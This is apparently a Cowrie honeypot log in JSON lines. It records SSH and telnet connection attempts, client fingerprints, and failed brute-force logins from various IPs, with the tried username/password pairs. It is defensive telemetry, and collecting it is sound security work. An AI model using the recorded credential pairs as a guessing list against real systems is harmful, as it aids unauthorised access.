{"eventid":"cowrie.login.failed","username":"root","password":"cbvgcjys","message":"login attempt [root/cbvgcjys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:43.797638Z","src_ip":"89.223.69.22","session":"6968d27cfb66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:44.909236Z","src_ip":"89.223.69.22","session":"6968d27cfb66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"602774916ac1","protocol":"ssh","message":"New connection: 185.242.3.195:41634 (10.17.0.5:22) [session: 602774916ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:51.289568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:51.292295Z","src_ip":"185.242.3.195","session":"602774916ac1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:51.387941Z","src_ip":"185.242.3.195","session":"602774916ac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo","message":"login attempt [ubuntu/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:51.660446Z","src_ip":"185.242.3.195","session":"602774916ac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:09:52.753535Z","src_ip":"185.242.3.195","session":"602774916ac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47148,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad82d72ab64","protocol":"telnet","message":"New connection: 170.64.224.25:47148 (159.203.135.109:23) [session: bad82d72ab64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:07.233682Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52794,"dst_ip":"10.17.0.5","dst_port":22,"session":"00a42bf55003","protocol":"ssh","message":"New connection: 8.210.75.243:52794 (10.17.0.5:22) [session: 00a42bf55003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:07.795521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:07.983814Z","src_ip":"8.210.75.243","session":"00a42bf55003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:08.135085Z","src_ip":"8.210.75.243","session":"00a42bf55003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.70795202255249,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:17.768788Z","src_ip":"170.64.224.25","session":"860ad49604ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":55324,"dst_ip":"10.17.0.5","dst_port":22,"session":"1df855d5a410","protocol":"ssh","message":"New connection: 147.45.51.138:55324 (10.17.0.5:22) [session: 1df855d5a410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:20.383565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:20.387890Z","src_ip":"147.45.51.138","session":"1df855d5a410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:20.478503Z","src_ip":"147.45.51.138","session":"1df855d5a410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:20.865661Z","src_ip":"147.45.51.138","session":"1df855d5a410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.640710830688477,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.874249Z","src_ip":"170.64.224.25","session":"bad82d72ab64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":35842,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5dd22d6037","protocol":"ssh","message":"New connection: 152.32.205.153:35842 (10.17.0.5:22) [session: 4b5dd22d6037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.889375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.894895Z","src_ip":"152.32.205.153","session":"4b5dd22d6037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.904774Z","src_ip":"152.32.205.153","session":"4b5dd22d6037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.957804Z","src_ip":"147.45.51.138","session":"1df855d5a410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gj123456","message":"login attempt [root/Gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:21.992269Z","src_ip":"152.32.205.153","session":"4b5dd22d6037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:22.331552Z","src_ip":"8.210.75.243","session":"00a42bf55003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:23.005874Z","src_ip":"152.32.205.153","session":"4b5dd22d6037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":52364,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9fa2ae93a8c","protocol":"ssh","message":"New connection: 163.7.1.218:52364 (10.17.0.5:22) [session: f9fa2ae93a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:23.174820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:23.179845Z","src_ip":"163.7.1.218","session":"f9fa2ae93a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:23.435776Z","src_ip":"163.7.1.218","session":"f9fa2ae93a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.112287521362305,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:24.271475Z","src_ip":"170.64.224.25","session":"e2ef8eebc8ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123.com","message":"login attempt [mysql/123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:24.491026Z","src_ip":"163.7.1.218","session":"f9fa2ae93a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:25.702454Z","src_ip":"8.210.75.243","session":"00a42bf55003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:25.749848Z","src_ip":"163.7.1.218","session":"f9fa2ae93a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:27.360098Z","src_ip":"8.210.75.243","session":"60a3171fc725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":50004,"dst_ip":"10.17.0.5","dst_port":22,"session":"a66a6629438a","protocol":"ssh","message":"New connection: 196.196.150.5:50004 (10.17.0.5:22) [session: a66a6629438a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:33.355155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:33.358164Z","src_ip":"196.196.150.5","session":"a66a6629438a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:33.463848Z","src_ip":"196.196.150.5","session":"a66a6629438a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456qwerty","message":"login attempt [ubuntu/123456qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:33.919081Z","src_ip":"196.196.150.5","session":"a66a6629438a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:35.029494Z","src_ip":"196.196.150.5","session":"a66a6629438a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36660,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8b9b3d27a3","protocol":"ssh","message":"New connection: 8.210.75.243:36660 (10.17.0.5:22) [session: 4d8b9b3d27a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:44.998394Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.220.238.21","src_port":50900,"dst_ip":"10.17.0.5","dst_port":22,"session":"33cf0104c125","protocol":"ssh","message":"New connection: 114.220.238.21:50900 (10.17.0.5:22) [session: 33cf0104c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:47.694342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:47.699680Z","src_ip":"114.220.238.21","session":"33cf0104c125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:47.974268Z","src_ip":"114.220.238.21","session":"33cf0104c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":45018,"dst_ip":"159.203.135.109","dst_port":22,"session":"089531ef91b5","protocol":"ssh","message":"New connection: 59.152.168.184:45018 (159.203.135.109:22) [session: 089531ef91b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:48.128853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:48.132556Z","src_ip":"59.152.168.184","session":"089531ef91b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:48.331510Z","src_ip":"59.152.168.184","session":"089531ef91b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dg123456!","message":"login attempt [root/Dg123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:49.160948Z","src_ip":"59.152.168.184","session":"089531ef91b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:10:50.362443Z","src_ip":"59.152.168.184","session":"089531ef91b5","protocol":"ssh"}
